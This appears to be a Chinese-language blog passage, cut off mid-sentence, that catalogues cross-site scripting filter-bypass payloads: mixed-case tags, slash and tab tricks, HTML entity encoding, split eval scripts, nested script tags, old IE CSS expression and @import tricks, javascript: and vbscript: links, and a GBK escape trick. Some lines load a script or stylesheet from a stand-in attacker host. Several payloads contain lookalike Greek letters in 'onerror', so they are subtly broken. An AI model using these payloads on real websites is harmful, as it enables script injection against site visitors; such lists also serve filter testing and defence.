XSS变形突破

※XSS的变形

1. 大小写转换

  可以将payload 进行大小写转化。如:
<Img sRc='#' Onerror="alert(/xss/)" />

<a hREf="javaScript:alert(/xss/)">click me</a>

 2. 引号的使用---HTML 语言中对引号的使用不敏感.如“
<img src='#' οnerrοr='alert(/xss/)'/>
<img src=# οnerrοr=alert(/xss/) />

3. ' /'代替空格 可以利用左斜线代替空格
<Img/sRc='#'/Onerror='alert(/xss/)' />

4. 回车我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。
<A hREf="j
avas    cript:alert(/xss/)">click me!</a>

5.  对标签属性值进行转码
    可以对标签属性值进行转码,用来绕过过滤。
如:<A hREf="j&#97;v&#x61;script:alert(/xss/)">click me!</a>

6. 拆分跨站
    <script>z='alert'</script>
    <script>z=z+'(/xss/)'</script>
    <script>eval(z)</script>

7.使用pronpt代替alert弹窗
<script>prompt('XSS')</script>

0x01 常规插入及其绕过
1 Script 标签
绕过进行一次移除操作:
<scr<script>ipt>alert("XSS")</scr<script>ipt>
Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本:
<script>alert("XSS")</script>
<script src="http://attacker.org/malicious.js"></script>

 
2  JavaScript 事件
我们可以像如下这样在元素中定义 JavaScript 事件:
<div οnclick="alert('xss')">
这个 JavaScript 代码当有人点击它后就会被执行,同时还有其他事件如页面加载或移动鼠标都可以触发这些事件。绝大部分的时间都被过滤器所移除了,但是依旧还有少量事件没有被过滤,例如,onmouseenter 事件:<div οnmοuseenter="alert('xss')">当用户鼠标移动到 div 上时就会触发我们的代码。
另一个绕过的办法就是在属性和= 之间插入一个空格:
<div onclick ="alert('xss')">

 
3 行内样式(Inline style)
我们同样可以在行内样式里利用 IE 浏览器支持的动态特性:
<div style="color: expression(alert('XSS'))">
过滤器会检查关键字 style,随后跟随的不能是 <,在随后是 expression:
/style=[^<]*((expression\s*?\([^<]*?\))|(behavior\s*:))[^<]*(?=\>)/Uis
所以,让我们需要把 < 放到其他地方:
<div style="color: '<'; color: expression(alert('XSS'))">

4 CSS import
IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为动态特性(dynamic properties)。允许攻击者加载一个外部 CSS 样式表是相当危险的,因为攻击者现在可以在原始页面中执行 JavaScript 代码了。
<style>
@import url("http://attacker.org/malicious.css");
</style>
malicious.css:
body {
    color: expression(alert('XSS'));
}
为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过:
<style>
@imp\ort url("http://attacker.org/malicious.css");
</style>
IE 浏览器会接受反斜杠,但是我们绕过了过滤器。

 
5 Javascript URL
链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript:
<a href="javascript:alert('test')">link</a>
上面的过滤会从代码中移除 javascript:,所以我们不能直接这么写代码。但我们可以尝试改变 javascript:的写法,使它依旧可以被浏览器执行但又不匹配正则表达式。首先来尝试下 URL 编码:
<a href="java&#115;cript:alert('xss')">link</a>
上面这段代码不匹配正则表达式,但是浏览器依旧会执行它,因为浏览器会首先进行 URL 解码操作。
另外,我们还可以使用 VBScript,虽然它在 IE11 中被禁用了,但依旧可以运行在旧版本的 IE 或者启用兼容模式的 IE11 上。我们可以使用类似上面 JavaScript 的方式来插入 VBScript 代码:
<a href='vbscript:MsgBox("XSS")'>link</a>


1 利用字符编码
%c1;alert(/xss/);//
如果用户变量中有特殊字符,那么系统会用"\"进行转义,如输入";alert(/XSS/),会被系统转义成:var redirectUrl = "\";alert(/XSS/);"这样参数就是一个字符串,但是如果页面是GBK/GB2312编码,"%c1\"这两个字符组合在一起就是一个Unicode字符,所以如果传递%c1";alert(/XSS/),那么转

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值